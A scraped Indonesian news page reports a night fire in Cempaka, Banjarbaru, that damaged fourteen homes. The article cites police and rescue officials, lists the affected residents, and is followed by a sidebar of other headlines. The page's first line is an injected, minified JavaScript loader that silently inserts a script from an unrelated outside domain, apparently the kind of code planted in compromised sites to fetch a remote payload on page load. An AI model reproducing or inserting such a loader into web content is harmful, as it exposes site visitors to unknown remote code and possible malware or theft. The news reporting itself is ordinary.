(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

14 Rumah Terbakar, 8 Di Antaranya Tak Tersisa Usai Kebakaran di Cempaka Dini Hari Tadi


KANALKALIMANTAN.COM, BANJARBARU – Musibah kebakaran di RT 10/ RW 04, Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru, Kamis (6/8/2020) malam , menghanguskan belasan bangunan rumah warga.

Menurut laporan yang diterima Kanalkalimantan.com, si jago merah dengan cepat menjalar ke beberapa rumah, mengingat lokasi di sana adalah kawasan padat penduduk. Terlebih lagi, mayoritas bangunan terbuat dari kayu yang mudah terbakar.

Petugas pemadam kebakaran gabungan, baik dari Kota Banjarbaru, Kabupaten Banjar, hingga Kota Banjarmasin, turut terlibat dalam upaya pemadaman. Suasana begitu mencekam, lantaran munculnya api bersamaan dengan waktu saat warga sedang tertidur.

Beruntungnya, tidak ada korban jiwa dalam kejadian ini. Api berhasil dipadamkan pada Jumat (7/8/2020) dini hari, sekitar pukul 00.30 wita.

Rekanan Banjarbaru Rescue, Zaini, dalam saluran frekuensi laporannya, menyampaikan bahwa api memang sempat membesar kembali. Pihaknya juga terkendala proses pemadaman, lantaran kekurangan suplai air.

“Tapi, Almadulillah, api sudah berhasil dipadamkam,” ujarnya.

Di sisi lain, Kapolsek Banjarbaru Timur, Iptu Khamdari, mengatakan ada 14 bangunan rumah milik warga yang terimbas amukan si jago merah. Bahkan, tak sedikit bangunan rumah yang mengalami kerusakan hingga mencapai 100 persen.

“Dari sudah kita data, ada 8 bangunan rumah warga yang hangus terbakar secara menyeluruh. Sisanya ada beberapa rumah yang cuma terbakar di bagian teras dan bagian samping. Lalu, ada juga warung yang terbakar,” terangnya.

Ditanya ihwal penyebab munculnya api, pihak Kepolisian masih belum menemukan titik terang. Kendati demikian, diduga api pertama kali muncul berasal dari rumah seorang warga, yakni Nenek Tiarah.

Belum diketahui total kerugian atas musibah ini. Namun, diperkirakan mencapai puluhan hingga ratusan juta rupiah. Kini, di sekitar lokasi kejadian telah dipasang garis pembatas.

Berikut, data sementara rumah warga yang terbakar;
1.Rumah Nenek Tiarah (habis terbakar)
2. Rumah Acil Inai ( habis terbakar )
3.Rumah Saupi Baiturrahman (habis terbakar)
4.Rumah Acil Fahmi ( habis terbakar)
5.Rumah Silfia Naidi (habis terbakar)
6.Rumah Rofi’i ( habis terbakar)
7.Rumah Hasan ( habis terbakar)
8.Rumah Safri ( 95 %) titik api padam
9.Rumah Ahyani ( warung muka rumah)
10.Rumah Mugni ( habis terbakar)
11.Rumah Hj.Hairunisa (80%)
12. Rumah M.Saupi ( samping rumah tembok) mesin AC.
13. Rumah H.Udin (teras rumah ) dan sepeda motor terbakar.
14. Rumah H.Anang Furrahman (teras rumah)

(Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Transaksi Digital Semakin Mudah: BRI dan KAI Luncurkan QRIS di Resto on Train & Loko Cafe

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk (BRI) bersama PT Kereta Api Indonesia (Persero)… Read More

14 menit ago

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

10 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

13 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

15 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

15 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

18 jam ago

This website uses cookies.